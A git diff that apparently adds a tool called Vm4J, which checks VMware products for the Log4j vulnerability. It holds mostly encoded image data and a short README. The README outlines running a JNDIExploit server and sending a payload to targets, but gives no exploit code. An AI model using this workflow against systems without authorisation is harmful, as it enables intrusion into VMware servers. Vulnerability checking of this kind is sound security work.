z@c;q?GY(}eD7glX*JOMyI4_-ettGn_E$y0?|6;o)_cwDJtmpE6%X#zI^m@G+9nkKl z%u{f#XbQblo?;}Ov~Ya?f5ToBT*Vmkdg3co&Oqi$6fCLWImT3yyI?L~@)sOyOAbTu z2wFVP@jmC61ec-1XE3LravGF#lDr1nY~}!^{gOD}mFx)fYNXfo#54GunP(k_^?vKF zaLa_@nWO8hvNM0(nPq2x$hQ44v+obo8D4jmonwj4EIY>{k|%u({OWI7cNs@Xp0$Hx zf=7~_xzf(M?vm&2tm`i0Z|12xD2{w&osqJ0y-8=5ojIKjh~Haf-6bC-dH#079xcl5 zwTNm&C@)t8LZSN5#D5-k+L(VbwAwXYcmcvuVtVtFAYA{@2h!W zftx1xM|RjT;&!hh#(sgybun(baKw_@^Qb=bXHmN+aZ|{qx2YB;lj=*u;j?VG8Uy<+ zA12zF=*>Uxr218sJ@MeDf@kJ>qNGFP?vb4_b4%-fY}!bwB`Ou%G5@K)S%~A)o}^rl zg84jGyrzCuRh%n$I*Ive%C4)Q`K^6fVm{5?>b>@DwVi8@r0kpz=W}@kZG2P7T@mKH zp6DT)aq-l0g@+Mk8Xe+6xlX4!);?lkj_R_) zd#z3y%GbCy>ZYwOA%O!7;-+C+Yr}d!FiujgaBC zL^i4aa|5@i`5~5_Ib_{+XPzK(|04DK1yrL}eEFPu9%(mS@B}{V-&WgLUS4;}6EuM%xOtqg-+ewJrGepo%gD){2`m(P2}V zwQcf9upcMiBFE20 zSDLgZA73QwjQ8SxR7;qnes+oE&*6NW_Q ztTRE&jf8IsS!F^w+Q#eBj(w)?)f}&->M&WSX9(FjZzOA+d^fyDd#^&&s(LQ_a}(Lw zzPrpGgiPOEBA>|}RTgDa4skNPz8--qq4pw|$?f%3Ww`9K4c?ahamj5hYHnWRW|1Gh ze&HlS)(;oB|gn`<7=NWUuWJLd@HUX?l{a)l&2=j^2HB461|XLS9lu8nLiyUguy&7#OPaBX1= zu^89ow5II*Y|A5Z*y_4>r0kr}=&b85axs+aZEj~egU(3VIhUksBRiYyoadH#_Rc6f z=MWzv-}Kn*Rep|6<{xGLv$L+d%%3**O)`!Yx%0+cnHop7w|&>$tE}&G-DU1q7khLz z**SOpxcb!xt-H*->tc`2qBBxYrXvd-jjip3sQXQb?0E26C@PHs zA-JAE7dJhove$Esl9b(wi)gy=AN|puD`3Tg(YovFw3PaT$2gC#uhVM3+P?c?Eq$F9 zKbzThHI?^UcYU2!2d}%Vb<)>qwQ3FV1NB|5yR28&*J(9Ai{25Oy}nMXG0)QxoV~tI zOZyuL9h9Te*J(A)CqD}Bt*_J4{>Fzkj?~v_iPSvwby~_g$iMnJEq$F9>q45oPD@{> zr8NrrIxT&jR%fnt>ddlpj;bRt-|wyMFcx_e>|y_C-Y{@U{`zhm9?bz1FNkaeH2thk-(wEiE{!Ux^} literal 0 HcmV?d00001 diff --git a/README.md b/README.md index c37208e..6273bec 100644 --- a/README.md +++ b/README.md @@ -1,2 +1,23 @@ # Vm4J A tool for detect vmware product log4j vulnerability. + +# How it works? + +- First start a `JNDIExploit` server. + +- Start this tool and set any config to right setting. +- Send payload. + +# Screenshot + +![image-20211228094204633](README/img1.png) + +# Note + +1. This project use `Visual Studio 2022` and `.NET Framework 4.5`. +2. For Debug mode this tool set proxy to `127.0.0.1:8080` and Release mode set proxy to `null`. +3. Some Product **CAN USE DNSLOG ONLY **. + +# Todo + +- Workspace One. diff --git a/README/img1.png b/README/img1.png new file mode 100644 index 0000000000000000000000000000000000000000..ceba4a0561f0ed6b9c40d91e5db90bde1f6dcdd4 GIT binary patch literal 150373 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 